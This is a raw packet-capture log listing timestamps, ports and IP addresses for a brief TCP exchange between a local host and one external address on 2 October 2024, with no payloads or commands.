Oct 2, 2024 05:23:19.845819950 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.846453905 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.846487999 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.846498966 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.846575975 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.846586943 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.846597910 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.846597910 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.846599102 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.846613884 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.846663952 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.846663952 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.846692085 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.846704006 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.846715927 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.846729994 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.846803904 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.846803904 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.847429037 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.847440004 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.847451925 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.847501040 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.847512960 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.847526073 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.847536087 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.847557068 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.847557068 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.847683907 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.930095911 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.930121899 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.930135012 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.930293083 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.930306911 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.930319071 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.930330992 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.930360079 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.930360079 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.930360079 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.953656912 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.953676939 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.953697920 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.953730106 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.953741074 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.953748941 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.953753948 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.953766108 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.953778028 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.953799963 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.953799963 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.953807116 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.953830957 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.953877926 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.953891993 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.953912973 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.953912973 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.953916073 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.954066992 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.954077959 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.954090118 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.954117060 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.954117060 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.954171896 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.954183102 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.954195023 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.954267979 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.954298973 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.954310894 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.954333067 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.954333067 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.954333067 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.954382896 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.954395056 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.954505920 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.954552889 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.954565048 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.954595089 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.954595089 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.954595089 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.954622984 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.954633951 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.954646111 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.954658031 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.954720974 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.954731941 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.954746962 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.954746962 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.954813004 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.954938889 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.954958916 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.954971075 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.955065012 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.955075979 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.955087900 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.955100060 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.955123901 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.955123901 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.955123901 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.955193996 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.955205917 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.955215931 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.955228090 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.955374002 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.955374002 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.955475092 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.955583096 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.955596924 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.955599070 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.955610037 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.955621004 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.955632925 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.955651045 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.955662012 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.955672979 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.955684900 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.955684900 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.955684900 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.955737114 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.965481043 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.965503931 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.965523005 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.965536118 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.965548992 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.965559959 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.965572119 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.965612888 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.965612888 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.965641022 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.965655088 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.965673923 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.965686083 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.965697050 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.965708971 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.965722084 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.965748072 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.965748072 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.965748072 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.965837955 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.966015100 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.966057062 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.966068983 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.966100931 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.966103077 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.966103077 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.966103077 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.966167927 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.966180086 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.966257095 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.966268063 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.966351986 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.966389894 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.966389894 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.966389894 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.966394901 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.966408014 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.966480970 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.966492891 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.966505051 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.966516972 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.966558933 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.966561079 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.966561079 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.966561079 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.966597080 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.966608047 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.966835976 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.966861963 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.966873884 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.966905117 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.966905117 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.966905117 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.966952085 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.966964006 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.966976881 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.967096090 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.967108011 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.967118979 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.967132092 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.967144966 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.967149019 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.967149019 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.967149019 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.967159033 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.967284918 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.967298985 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.967310905 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.967322111 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.967334032 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.967345953 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.967361927 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.967361927 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.967361927 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.967363119 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.967854977 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.967868090 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.967880011 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.967899084 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.967899084 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.967899084 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.967916965 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.967930079 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.968581915 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.977487087 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.017584085 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.017616034 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.017627954 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.017646074 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.017657995 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.017657042 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.017669916 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.017818928 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.017818928 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.041202068 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.041224003 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.041234970 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.041245937 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.041264057 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.041275024 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.041285992 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.041294098 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.041294098 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.041297913 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.041402102 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.041412115 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.041424990 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.041449070 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.041488886 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.041488886 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.041488886 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.041492939 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.041505098 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.041527033 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.041656017 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.041713953 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.041726112 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.041754007 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.041754007 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.041754007 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.041786909 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.041799068 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.041810036 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.041821003 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.041832924 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.041853905 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.041853905 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.064457893 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.064481974 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.064495087 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.064529896 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.064542055 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.064544916 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.064544916 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.064596891 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.064614058 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.064645052 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.064655066 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.064655066 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.064656973 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.064722061 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.064733982 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.064744949 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.064754963 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.064768076 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.064768076 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.064891100 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.064902067 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.064913034 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.064929008 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.064975023 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.065023899 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.065036058 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.065047979 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.065067053 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.065067053 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.065067053 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.065182924 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.065192938 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.065205097 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.065217018 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.065287113 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.065298080 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.065309048 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.065320969 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.065331936 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.065373898 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.065373898 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.065373898 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.065546989 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.065562963 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.065573931 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.065598011 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.065608025 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.065619946 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.065634012 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.065639019 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.065639019 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.065639019 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.065690994 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.065891027 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.065901041 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.065917969 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.065952063 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.065952063 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.065952063 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.065958023 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.065974951 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.065985918 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.065996885 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.066102982 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.066113949 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.066126108 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.066163063 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.066163063 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.066163063 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.066313028 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.066365004 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.066375971 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.066411972 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.066411972 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.066492081 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.066502094 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.066514015 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.066524982 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.066557884 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.066572905 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.066618919 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.066618919 CEST	49704	2048	192.168.2.10	109.248.151.156
